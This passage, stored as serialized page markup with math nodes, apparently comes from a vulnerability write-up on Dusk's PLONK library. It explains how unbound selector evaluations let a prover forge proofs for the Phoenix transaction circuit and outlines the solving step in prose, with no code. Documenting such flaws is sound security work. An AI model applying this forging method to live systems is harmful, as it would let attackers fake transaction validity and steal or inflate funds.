",{"type":22,"tag":69,"props":146596,"children":146599},{"href":146597,"rel":146598},"https://github.com/dusk-network/plonk",[73],[146600],{"type":27,"value":143204},{"type":27,"value":146602},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":22,"tag":69,"props":146604,"children":146607},{"href":146605,"rel":146606},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[73],[146608],{"type":27,"value":146609},"the original paper",{"type":27,"value":146611}," was released.",{"type":22,"tag":23,"props":146613,"children":146614},{},[146615,146617,146623],{"type":27,"value":146616},"The Phoenix transaction PLONK circuit is defined ",{"type":22,"tag":69,"props":146618,"children":146621},{"href":146619,"rel":146620},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[73],[146622],{"type":27,"value":48904},{"type":27,"value":146624},". The circuit enforces the following set of constraints:",{"type":22,"tag":35,"props":146626,"children":146627},{},[146628,146644],{"type":22,"tag":39,"props":146629,"children":146630},{},[146631],{"type":22,"tag":43,"props":146632,"children":146633},{},[146634,146639],{"type":22,"tag":47,"props":146635,"children":146636},{},[146637],{"type":27,"value":146638},"Circuit check",{"type":22,"tag":47,"props":146640,"children":146641},{},[146642],{"type":27,"value":146643},"Statement being checked",{"type":22,"tag":58,"props":146645,"children":146646},{},[146647,146665,146683,146701,146719,146876,147016,147034],{"type":22,"tag":43,"props":146648,"children":146649},{},[146650,146660],{"type":22,"tag":65,"props":146651,"children":146652},{},[146653],{"type":22,"tag":69,"props":146654,"children":146657},{"href":146655,"rel":146656},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[73],[146658],{"type":27,"value":146659},"Merkle tree membership",{"type":22,"tag":65,"props":146661,"children":146662},{},[146663],{"type":27,"value":146664},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":22,"tag":43,"props":146666,"children":146667},{},[146668,146678],{"type":22,"tag":65,"props":146669,"children":146670},{},[146671],{"type":22,"tag":69,"props":146672,"children":146675},{"href":146673,"rel":146674},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[73],[146676],{"type":27,"value":146677},"Input-note secret-key authorization",{"type":22,"tag":65,"props":146679,"children":146680},{},[146681],{"type":27,"value":146682},"The prover knows the secret key controlling each input note",{"type":22,"tag":43,"props":146684,"children":146685},{},[146686,146696],{"type":22,"tag":65,"props":146687,"children":146688},{},[146689],{"type":22,"tag":69,"props":146690,"children":146693},{"href":146691,"rel":146692},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[73],[146694],{"type":27,"value":146695},"Nullifier correctness",{"type":22,"tag":65,"props":146697,"children":146698},{},[146699],{"type":27,"value":146700},"Each nullifier matches the corresponding note key and position",{"type":22,"tag":43,"props":146702,"children":146703},{},[146704,146714],{"type":22,"tag":65,"props":146705,"children":146706},{},[146707],{"type":22,"tag":69,"props":146708,"children":146711},{"href":146709,"rel":146710},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[73],[146712],{"type":27,"value":146713},"Output value commitment correctness",{"type":22,"tag":65,"props":146715,"children":146716},{},[146717],{"type":27,"value":146718},"Each public output commitment matches the secret output value and blinder",{"type":22,"tag":43,"props":146720,"children":146721},{},[146722,146732],{"type":22,"tag":65,"props":146723,"children":146724},{},[146725],{"type":22,"tag":69,"props":146726,"children":146729},{"href":146727,"rel":146728},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[73],[146730],{"type":27,"value":146731},"Balance integrity",{"type":22,"tag":65,"props":146733,"children":146734},{},[146735],{"type":22,"tag":257,"props":146736,"children":146738},{"className":146737},[260,261],[146739],{"type":22,"tag":264,"props":146740,"children":146742},{"className":146741},[267],[146743],{"type":22,"tag":264,"props":146744,"children":146746},{"className":146745,"ariaHidden":273},[272],[146747,146787,146827,146859],{"type":22,"tag":264,"props":146748,"children":146750},{"className":146749},[278],[146751,146755,146760,146764,146774,146778,146783],{"type":22,"tag":264,"props":146752,"children":146754},{"className":146753,"style":5409},[283],[],{"type":22,"tag":264,"props":146756,"children":146758},{"className":146757,"style":22936},[22929,22934,22935],[146759],{"type":27,"value":110163},{"type":22,"tag":264,"props":146761,"children":146763},{"className":146762,"style":5427},[420],[],{"type":22,"tag":264,"props":146765,"children":146767},{"className":146766},[289,27],[146768],{"type":22,"tag":264,"props":146769,"children":146771},{"className":146770},[289],[146772],{"type":27,"value":146773},"inputs",{"type":22,"tag":264,"props":146775,"children":146777},{"className":146776,"style":421},[420],[],{"type":22,"tag":264,"props":146779,"children":146781},{"className":146780},[426],[146782],{"type":27,"value":429},{"type":22,"tag":264,"props":146784,"children":146786},{"className":146785,"style":421},[420],[],{"type":22,"tag":264,"props":146788,"children":146790},{"className":146789},[278],[146791,146795,146800,146804,146814,146818,146823],{"type":22,"tag":264,"props":146792,"children":146794},{"className":146793,"style":5409},[283],[],{"type":22,"tag":264,"props":146796,"children":146798},{"className":146797,"style":22936},[22929,22934,22935],[146799],{"type":27,"value":110163},{"type":22,"tag":264,"props":146801,"children":146803},{"className":146802,"style":5427},[420],[],{"type":22,"tag":264,"props":146805,"children":146807},{"className":146806},[289,27],[146808],{"type":22,"tag":264,"props":146809,"children":146811},{"className":146810},[289],[146812],{"type":27,"value":146813},"outputs",{"type":22,"tag":264,"props":146815,"children":146817},{"className":146816,"style":665},[420],[],{"type":22,"tag":264,"props":146819,"children":146821},{"className":146820},[670],[146822],{"type":27,"value":673},{"type":22,"tag":264,"props":146824,"children":146826},{"className":146825,"style":665},[420],[],{"type":22,"tag":264,"props":146828,"children":146830},{"className":146829},[278],[146831,146836,146846,146850,146855],{"type":22,"tag":264,"props":146832,"children":146835},{"className":146833,"style":146834},[283],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":22,"tag":264,"props":146837,"children":146839},{"className":146838},[289,27],[146840],{"type":22,"tag":264,"props":146841,"children":146843},{"className":146842},[289],[146844],{"type":27,"value":146845},"fee",{"type":22,"tag":264,"props":146847,"children":146849},{"className":146848,"style":665},[420],[],{"type":22,"tag":264,"props":146851,"children":146853},{"className":146852},[670],[146854],{"type":27,"value":673},{"type":22,"tag":264,"props":146856,"children":146858},{"className":146857,"style":665},[420],[],{"type":22,"tag":264,"props":146860,"children":146862},{"className":146861},[278],[146863,146867],{"type":22,"tag":264,"props":146864,"children":146866},{"className":146865,"style":2028},[283],[],{"type":22,"tag":264,"props":146868,"children":146870},{"className":146869},[289,27],[146871],{"type":22,"tag":264,"props":146872,"children":146874},{"className":146873},[289],[146875],{"type":27,"value":63285},{"type":22,"tag":43,"props":146877,"children":146878},{},[146879,146896],{"type":22,"tag":65,"props":146880,"children":146881},{},[146882,146889,146890],{"type":22,"tag":69,"props":146883,"children":146886},{"href":146884,"rel":146885},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[73],[146887],{"type":27,"value":146888},"Range checks on inputs",{"type":27,"value":12290},{"type":22,"tag":69,"props":146891,"children":146894},{"href":146892,"rel":146893},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[73],[146895],{"type":27,"value":146813},{"type":22,"tag":65,"props":146897,"children":146898},{},[146899,146901],{"type":27,"value":146900},"All note values lie in ",{"type":22,"tag":257,"props":146902,"children":146904},{"className":146903},[260,261],[146905],{"type":22,"tag":264,"props":146906,"children":146908},{"className":146907},[267],[146909],{"type":22,"tag":264,"props":146910,"children":146912},{"className":146911,"ariaHidden":273},[272],[146913,146998],{"type":22,"tag":264,"props":146914,"children":146916},{"className":146915},[278],[146917,146921,146926,146931,146936,146940,146985,146989,146994],{"type":22,"tag":264,"props":146918,"children":146920},{"className":146919,"style":116665},[283],[],{"type":22,"tag":264,"props":146922,"children":146924},{"className":146923},[294],[146925],{"type":27,"value":5045},{"type":22,"tag":264,"props":146927,"children":146929},{"className":146928},[289],[146930],{"type":27,"value":5334},{"type":22,"tag":264,"props":146932,"children":146934},{"className":146933},[5420],[146935],{"type":27,"value":5423},{"type":22,"tag":264,"props":146937,"children":146939},{"className":146938,"style":5427},[420],[],{"type":22,"tag":264,"props":146941,"children":146943},{"className":146942},[289],[146944,146949],{"type":22,"tag":264,"props":146945,"children":146947},{"className":146946},[289],[146948],{"type":27,"value":3568},{"type":22,"tag":264,"props":146950,"children":146952},{"className":146951},[2147],[146953],{"type":22,"tag":264,"props":146954,"children":146956},{"className":146955},[305],[146957],{"type":22,"tag":264,"props":146958,"children":146960},{"className":146959},[311],[146961],{"type":22,"tag":264,"props":146962,"children":146964},{"className":146963,"style":5318},[316],[146965],{"type":22,"tag":264,"props":146966,"children":146967},{"style":5353},[146968,146972],{"type":22,"tag":264,"props":146969,"children":146971},{"className":146970,"style":2169},[326],[],{"type":22,"tag":264,"props":146973,"children":146975},{"className":146974},[332,333,334,335],[146976],{"type":22,"tag":264,"props":146977,"children":146979},{"className":146978},[289,335],[146980],{"type":22,"tag":264,"props":146981,"children":146983},{"className":146982},[289,335],[146984],{"type":27,"value":30736},{"type":22,"tag":264,"props":146986,"children":146988},{"className":146987,"style":665},[420],[],{"type":22,"tag":264,"props":146990,"children":146992},{"className":146991},[670],[146993],{"type":27,"value":5372},{"type":22,"tag":264,"props":146995,"children":146997},{"className":146996,"style":665},[420],[],{"type":22,"tag":264,"props":146999,"children":147001},{"className":147000},[278],[147002,147006,147011],{"type":22,"tag":264,"props":147003,"children":147005},{"className":147004,"style":5409},[283],[],{"type":22,"tag":264,"props":147007,"children":147009},{"className":147008},[289],[147010],{"type":27,"value":602},{"type":22,"tag":264,"props":147012,"children":147014},{"className":147013},[415],[147015],{"type":27,"value":16710},{"type":22,"tag":43,"props":147017,"children":147018},{},[147019,147029],{"type":22,"tag":65,"props":147020,"children":147021},{},[147022],{"type":22,"tag":69,"props":147023,"children":147026},{"href":147024,"rel":147025},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[73],[147027],{"type":27,"value":147028},"Sender-authorship signatures",{"type":22,"tag":65,"props":147030,"children":147031},{},[147032],{"type":27,"value":147033},"The transaction payload is signed by the sender's two signing key components",{"type":22,"tag":43,"props":147035,"children":147036},{},[147037,147047],{"type":22,"tag":65,"props":147038,"children":147039},{},[147040],{"type":22,"tag":69,"props":147041,"children":147044},{"href":147042,"rel":147043},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[73],[147045],{"type":27,"value":147046},"Sender encryption correctness",{"type":22,"tag":65,"props":147048,"children":147049},{},[147050],{"type":27,"value":147051},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":22,"tag":23,"props":147053,"children":147054},{},[147055,147057,147063,147065,147074],{"type":27,"value":147056},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":22,"tag":257,"props":147058,"children":147060},{"className":147059},[],[147061],{"type":27,"value":147062},"tx.public_inputs()",{"type":27,"value":147064}," via ",{"type":22,"tag":69,"props":147066,"children":147068},{"href":146504,"rel":147067},[73],[147069],{"type":22,"tag":257,"props":147070,"children":147072},{"className":147071},[],[147073],{"type":27,"value":146512},{"type":27,"value":210},{"type":22,"tag":23,"props":147076,"children":147077},{},[147078],{"type":27,"value":147079},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":22,"tag":20097,"props":147081,"children":147082},{},[],{"type":22,"tag":169,"props":147084,"children":147085},{"id":91624},[147086],{"type":27,"value":147087},"The bug",{"type":22,"tag":23,"props":147089,"children":147090},{},[147091,147093,147100,147102,147113],{"type":27,"value":147092},"In the ",{"type":22,"tag":69,"props":147094,"children":147097},{"href":147095,"rel":147096},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[73],[147098],{"type":27,"value":147099},"PLONK verification",{"type":27,"value":147101},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":22,"tag":69,"props":147103,"children":147106},{"href":147104,"rel":147105},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[73],[147107],{"type":22,"tag":257,"props":147108,"children":147110},{"className":147109},[],[147111],{"type":27,"value":147112},"E_evals",{"type":27,"value":147114},") are:",{"type":22,"tag":17988,"props":147116,"children":147117},{},[147118,147150,147175,147200],{"type":22,"tag":1871,"props":147119,"children":147120},{},[147121,147127,147128,147134,147135,147141,147142,147148],{"type":22,"tag":257,"props":147122,"children":147124},{"className":147123},[],[147125],{"type":27,"value":147126},"a_eval",{"type":27,"value":4380},{"type":22,"tag":257,"props":147129,"children":147131},{"className":147130},[],[147132],{"type":27,"value":147133},"b_eval",{"type":27,"value":4380},{"type":22,"tag":257,"props":147136,"children":147138},{"className":147137},[],[147139],{"type":27,"value":147140},"c_eval",{"type":27,"value":4380},{"type":22,"tag":257,"props":147143,"children":147145},{"className":147144},[],[147146],{"type":27,"value":147147},"d_eval",{"type":27,"value":147149}," (witness)",{"type":22,"tag":1871,"props":147151,"children":147152},{},[147153,147159,147160,147166,147167,147173],{"type":22,"tag":257,"props":147154,"children":147156},{"className":147155},[],[147157],{"type":27,"value":147158},"s_sigma_1_eval",{"type":27,"value":4380},{"type":22,"tag":257,"props":147161,"children":147163},{"className":147162},[],[147164],{"type":27,"value":147165},"s_sigma_2_eval",{"type":27,"value":4380},{"type":22,"tag":257,"props":147168,"children":147170},{"className":147169},[],[147171],{"type":27,"value":147172},"s_sigma_3_eval",{"type":27,"value":147174}," (permutation)",{"type":22,"tag":1871,"props":147176,"children":147177},{},[147178,147184,147185,147191,147192,147198],{"type":22,"tag":257,"props":147179,"children":147181},{"className":147180},[],[147182],{"type":27,"value":147183},"a_w_eval",{"type":27,"value":4380},{"type":22,"tag":257,"props":147186,"children":147188},{"className":147187},[],[147189],{"type":27,"value":147190},"b_w_eval",{"type":27,"value":4380},{"type":22,"tag":257,"props":147193,"children":147195},{"className":147194},[],[147196],{"type":27,"value":147197},"d_w_eval",{"type":27,"value":147199}," (shifted witness)",{"type":22,"tag":1871,"props":147201,"children":147202},{},[147203,147209],{"type":22,"tag":257,"props":147204,"children":147206},{"className":147205},[],[147207],{"type":27,"value":147208},"z_eval",{"type":27,"value":147210}," (permutation accumulator)",{"type":22,"tag":23,"props":147212,"children":147213},{},[147214,147216,147220],{"type":27,"value":147215},"But the following selector evaluations were ",{"type":22,"tag":1699,"props":147217,"children":147218},{},[147219],{"type":27,"value":19792},{"type":27,"value":147221}," included:",{"type":22,"tag":17988,"props":147223,"children":147224},{},[147225,147236,147247,147258],{"type":22,"tag":1871,"props":147226,"children":147227},{},[147228,147234],{"type":22,"tag":257,"props":147229,"children":147231},{"className":147230},[],[147232],{"type":27,"value":147233},"q_arith_eval",{"type":27,"value":147235}," (arithmetic selector)",{"type":22,"tag":1871,"props":147237,"children":147238},{},[147239,147245],{"type":22,"tag":257,"props":147240,"children":147242},{"className":147241},[],[147243],{"type":27,"value":147244},"q_c_eval",{"type":27,"value":147246}," (constant selector)",{"type":22,"tag":1871,"props":147248,"children":147249},{},[147250,147256],{"type":22,"tag":257,"props":147251,"children":147253},{"className":147252},[],[147254],{"type":27,"value":147255},"q_l_eval",{"type":27,"value":147257}," (left selector)",{"type":22,"tag":1871,"props":147259,"children":147260},{},[147261,147267],{"type":22,"tag":257,"props":147262,"children":147264},{"className":147263},[],[147265],{"type":27,"value":147266},"q_r_eval",{"type":27,"value":147268}," (right selector)",{"type":22,"tag":23,"props":147270,"children":147271},{},[147272,147274,147281,147282,147289,147290,147297,147298,147305],{"type":27,"value":147273},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":22,"tag":69,"props":147275,"children":147278},{"href":147276,"rel":147277},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[73],[147279],{"type":27,"value":147280},"proof struct",{"type":27,"value":4380},{"type":22,"tag":69,"props":147283,"children":147286},{"href":147284,"rel":147285},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[73],[147287],{"type":27,"value":147288},"transcript absorption",{"type":27,"value":4380},{"type":22,"tag":69,"props":147291,"children":147294},{"href":147292,"rel":147293},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[73],[147295],{"type":27,"value":147296},"arithmetic widget",{"type":27,"value":4380},{"type":22,"tag":69,"props":147299,"children":147302},{"href":147300,"rel":147301},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[73],[147303],{"type":27,"value":147304},"fixed-base ECC widget",{"type":27,"value":147306},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":22,"tag":23,"props":147308,"children":147309},{},[147310,147312,147316],{"type":27,"value":147311},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":22,"tag":1699,"props":147313,"children":147314},{},[147315],{"type":27,"value":19792},{"type":27,"value":147317}," bugs:",{"type":22,"tag":17988,"props":147319,"children":147320},{},[147321,147461],{"type":22,"tag":1871,"props":147322,"children":147323},{},[147324,147326,147371,147373,147379,147381,147386,147387,147392,147393,147398,147400,147406,147408,147453,147455,147460],{"type":27,"value":147325},"There is no prover-supplied ",{"type":22,"tag":257,"props":147327,"children":147329},{"className":147328},[260,261],[147330],{"type":22,"tag":264,"props":147331,"children":147333},{"className":147332},[267],[147334],{"type":22,"tag":264,"props":147335,"children":147337},{"className":147336,"ariaHidden":273},[272],[147338],{"type":22,"tag":264,"props":147339,"children":147341},{"className":147340},[278],[147342,147346,147351,147356,147361,147366],{"type":22,"tag":264,"props":147343,"children":147345},{"className":147344,"style":5409},[283],[],{"type":22,"tag":264,"props":147347,"children":147349},{"className":147348},[289,2178],[147350],{"type":27,"value":4449},{"type":22,"tag":264,"props":147352,"children":147354},{"className":147353},[294],[147355],{"type":27,"value":2660},{"type":22,"tag":264,"props":147357,"children":147359},{"className":147358,"style":114917},[289,2178],[147360],{"type":27,"value":114920},{"type":22,"tag":264,"props":147362,"children":147364},{"className":147363,"style":94855},[289,2178],[147365],{"type":27,"value":146035},{"type":22,"tag":264,"props":147367,"children":147369},{"className":147368},[415],[147370],{"type":27,"value":2806},{"type":27,"value":147372}," field at all. ",{"type":22,"tag":257,"props":147374,"children":147376},{"className":147375},[],[147377],{"type":27,"value":147378},"ProofEvaluations",{"type":27,"value":147380}," contains ",{"type":22,"tag":257,"props":147382,"children":147384},{"className":147383},[],[147385],{"type":27,"value":147183},{"type":27,"value":4380},{"type":22,"tag":257,"props":147388,"children":147390},{"className":147389},[],[147391],{"type":27,"value":147190},{"type":27,"value":7780},{"type":22,"tag":257,"props":147394,"children":147396},{"className":147395},[],[147397],{"type":27,"value":147197},{"type":27,"value":147399},", but no ",{"type":22,"tag":257,"props":147401,"children":147403},{"className":147402},[],[147404],{"type":27,"value":147405},"c_w_eval",{"type":27,"value":147407},", so the verifier never consumes an unbound ",{"type":22,"tag":257,"props":147409,"children":147411},{"className":147410},[260,261],[147412],{"type":22,"tag":264,"props":147413,"children":147415},{"className":147414},[267],[147416],{"type":22,"tag":264,"props":147417,"children":147419},{"className":147418,"ariaHidden":273},[272],[147420],{"type":22,"tag":264,"props":147421,"children":147423},{"className":147422},[278],[147424,147428,147433,147438,147443,147448],{"type":22,"tag":264,"props":147425,"children":147427},{"className":147426,"style":5409},[283],[],{"type":22,"tag":264,"props":147429,"children":147431},{"className":147430},[289,2178],[147432],{"type":27,"value":4449},{"type":22,"tag":264,"props":147434,"children":147436},{"className":147435},[294],[147437],{"type":27,"value":2660},{"type":22,"tag":264,"props":147439,"children":147441},{"className":147440,"style":114917},[289,2178],[147442],{"type":27,"value":114920},{"type":22,"tag":264,"props":147444,"children":147446},{"className":147445,"style":94855},[289,2178],[147447],{"type":27,"value":146035},{"type":22,"tag":264,"props":147449,"children":147451},{"className":147450},[415],[147452],{"type":27,"value":2806},{"type":27,"value":147454}," claim (",{"type":22,"tag":69,"props":147456,"children":147458},{"href":147276,"rel":147457},[73],[147459],{"type":27,"value":147280},{"type":27,"value":22049},{"type":22,"tag":1871,"props":147462,"children":147463},{},[147464,147466,147553,147555,147647,147648,147655],{"type":27,"value":147465},"There is a fourth permutation commitment ",{"type":22,"tag":257,"props":147467,"children":147469},{"className":147468},[260,261],[147470],{"type":22,"tag":264,"props":147471,"children":147473},{"className":147472},[267],[147474],{"type":22,"tag":264,"props":147475,"children":147477},{"className":147476,"ariaHidden":273},[272],[147478],{"type":22,"tag":264,"props":147479,"children":147481},{"className":147480},[278],[147482,147486,147491,147548],{"type":22,"tag":264,"props":147483,"children":147485},{"className":147484,"style":5409},[283],[],{"type":22,"tag":264,"props":147487,"children":147489},{"className":147488},[294],[147490],{"type":27,"value":5045},{"type":22,"tag":264,"props":147492,"children":147494},{"className":147493},[289],[147495,147500],{"type":22,"tag":264,"props":147496,"children":147498},{"className":147497,"style":94855},[289,2178],[147499],{"type":27,"value":145930},{"type":22,"tag":264,"props":147501,"children":147503},{"className":147502},[2147],[147504],{"type":22,"tag":264,"props":147505,"children":147507},{"className":147506},[305,306],[147508,147537],{"type":22,"tag":264,"props":147509,"children":147511},{"className":147510},[311],[147512,147532],{"type":22,"tag":264,"props":147513,"children":147515},{"className":147514,"style":94422},[316],[147516],{"type":22,"tag":264,"props":147517,"children":147518},{"style":94902},[147519,147523],{"type":22,"tag":264,"props":147520,"children":147522},{"className":147521,"style":2169},[326],[],{"type":22,"tag":264,"props":147524,"children":147526},{"className":147525},[332,333,334,335],[147527],{"type":22,"tag":264,"props":147528,"children":147530},{"className":147529},[289,335],[147531],{"type":27,"value":18831},{"type":22,"tag":264,"props":147533,"children":147535},{"className":147534},[396],[147536],{"type":27,"value":399},{"type":22,"tag":264,"props":147538,"children":147540},{"className":147539},[311],[147541],{"type":22,"tag":264,"props":147542,"children":147544},{"className":147543,"style":2721},[316],[147545],{"type":22,"tag":264,"props":147546,"children":147547},{},[],{"type":22,"tag":264,"props":147549,"children":147551},{"className":147550},[415],[147552],{"type":27,"value":16710},{"type":27,"value":147554}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":22,"tag":257,"props":147556,"children":147558},{"className":147557},[260,261],[147559],{"type":22,"tag":264,"props":147560,"children":147562},{"className":147561},[267],[147563],{"type":22,"tag":264,"props":147564,"children":147566},{"className":147565,"ariaHidden":273},[272],[147567],{"type":22,"tag":264,"props":147568,"children":147570},{"className":147569},[278],[147571,147575,147632,147637,147642],{"type":22,"tag":264,"props":147572,"children":147574},{"className":147573,"style":5409},[283],[],{"type":22,"tag":264,"props":147576,"children":147578},{"className":147577},[289],[147579,147584],{"type":22,"tag":264,"props":147580,"children":147582},{"className":147581,"style":94855},[289,2178],[147583],{"type":27,"value":145930},{"type":22,"tag":264,"props":147585,"children":147587},{"className":147586},[2147],[147588],{"type":22,"tag":264,"props":147589,"children":147591},{"className":147590},[305,306],[147592,147621],{"type":22,"tag":264,"props":147593,"children":147595},{"className":147594},[311],[147596,147616],{"type":22,"tag":264,"props":147597,"children":147599},{"className":147598,"style":94422},[316],[147600],{"type":22,"tag":264,"props":147601,"children":147602},{"style":94902},[147603,147607],{"type":22,"tag":264,"props":147604,"children":147606},{"className":147605,"style":2169},[326],[],{"type":22,"tag":264,"props":147608,"children":147610},{"className":147609},[332,333,334,335],[147611],{"type":22,"tag":264,"props":147612,"children":147614},{"className":147613},[289,335],[147615],{"type":27,"value":18831},{"type":22,"tag":264,"props":147617,"children":147619},{"className":147618},[396],[147620],{"type":27,"value":399},{"type":22,"tag":264,"props":147622,"children":147624},{"className":147623},[311],[147625],{"type":22,"tag":264,"props":147626,"children":147628},{"className":147627,"style":2721},[316],[147629],{"type":22,"tag":264,"props":147630,"children":147631},{},[],{"type":22,"tag":264,"props":147633,"children":147635},{"className":147634},[294],[147636],{"type":27,"value":2660},{"type":22,"tag":264,"props":147638,"children":147640},{"className":147639,"style":114917},[289,2178],[147641],{"type":27,"value":114920},{"type":22,"tag":264,"props":147643,"children":147645},{"className":147644},[415],[147646],{"type":27,"value":2806},{"type":27,"value":4370},{"type":22,"tag":69,"props":147649,"children":147652},{"href":147650,"rel":147651},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[73],[147653],{"type":27,"value":147654},"permutation verifier key",{"type":27,"value":22049},{"type":22,"tag":23,"props":147657,"children":147658},{},[147659,147661,147671],{"type":27,"value":147660},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":22,"tag":69,"props":147662,"children":147665},{"href":147663,"rel":147664},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[73],[147666],{"type":22,"tag":257,"props":147667,"children":147669},{"className":147668},[],[147670],{"type":27,"value":147112},{"type":27,"value":147672},", which leaves the master equation underconstrained.",{"type":22,"tag":23,"props":147674,"children":147675},{},[147676],{"type":22,"tag":215,"props":147677,"children":147680},{"alt":147678,"src":147679},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":22,"tag":20097,"props":147682,"children":147683},{},[],{"type":22,"tag":169,"props":147685,"children":147687},{"id":147686},"the-exploitation",[147688],{"type":27,"value":147689},"The exploitation",{"type":22,"tag":23,"props":147691,"children":147692},{},[147693],{"type":27,"value":147694},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":22,"tag":23,"props":147696,"children":147697},{},[147698,147700,147706,147708,147713,147715,147720,147722,147728],{"type":27,"value":147699},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":22,"tag":257,"props":147701,"children":147703},{"className":147702},[],[147704],{"type":27,"value":147705},"z_challenge",{"type":27,"value":147707},", it computes what the linearization polynomial ",{"type":22,"tag":1699,"props":147709,"children":147710},{},[147711],{"type":27,"value":147712},"should",{"type":27,"value":147714}," evaluate to for the pairing check to pass, then solves for ",{"type":22,"tag":257,"props":147716,"children":147718},{"className":147717},[],[147719],{"type":27,"value":147233},{"type":27,"value":147721},", the single free variable that makes the verification equation balance (setting ",{"type":22,"tag":257,"props":147723,"children":147725},{"className":147724},[],[147726],{"type":27,"value":147727},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":27,"value":22049},{"type":22,"tag":23,"props":147730,"children":147731},{},[147732],{"type":22,"tag":215,"props":147733,"children":147736},{"alt":147734,"src":147735},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":22,"tag":23,"props":147738,"children":147739},{},[147740,147742,147782,147784,147809,147811,147816],{"type":27,"value":147741},"To achieve this one may compute the linearization polynomial ",{"type":22,"tag":257,"props":147743,"children":147745},{"className":147744},[260,261],[147746],{"type":22,"tag":264,"props":147747,"children":147749},{"className":147748},[267],[147750],{"type":22,"tag":264,"props":147751,"children":147753},{"className":147752,"ariaHidden":273},[272],[147754],{"type":22,"tag":264,"props":147755,"children":147757},{"className":147756},[278],[147758,147762,147767,147772,147777],{"type":22,"tag":264,"props":147759,"children":147761},{"className":147760,"style":5409},[283],[],{"type":22,"tag":264,"props":147763,"children":147765},{"className":147764,"style":94370},[289,2178],[147766],{"type":27,"value":95188},{"type":22,"tag":264,"props":147768,"children":147770},{"className":147769},[294],[147771],{"type":27,"value":2660},{"type":22,"tag":264,"props":147773,"children":147775},{"className":147774},[289,2178],[147776],{"type":27,"value":20581},{"type":22,"tag":264,"props":147778,"children":147780},{"className":147779},[415],[147781],{"type":27,"value":2806},{"type":27,"value":147783}," with all selectors set to zero, evaluating it at ",{"type":22,"tag":257,"props":147785,"children":147787},{"className":147786},[260,261],[147788],{"type":22,"tag":264,"props":147789,"children":147791},{"className":147790},[267],[147792],{"type":22,"tag":264,"props":147793,"children":147795},{"className":147794,"ariaHidden":273},[272],[147796],{"type":22,"tag":264,"props":147797,"children":147799},{"className":147798},[278],[147800,147804],{"type":22,"tag":264,"props":147801,"children":147803},{"className":147802,"style":112208},[283],[],{"type":22,"tag":264,"props":147805,"children":147807},{"className":147806,"style":114917},[289,2178],[147808],{"type":27,"value":114920},{"type":27,"value":147810},", and comparing to the target value; the difference divided by the coefficient of ",{"type":22,"tag":257,"props":147812,"children":147814},{"className":147813},[],[147815],{"type":27,"value":147233},{"type":27,"value":147817}," gives the required value in a single field 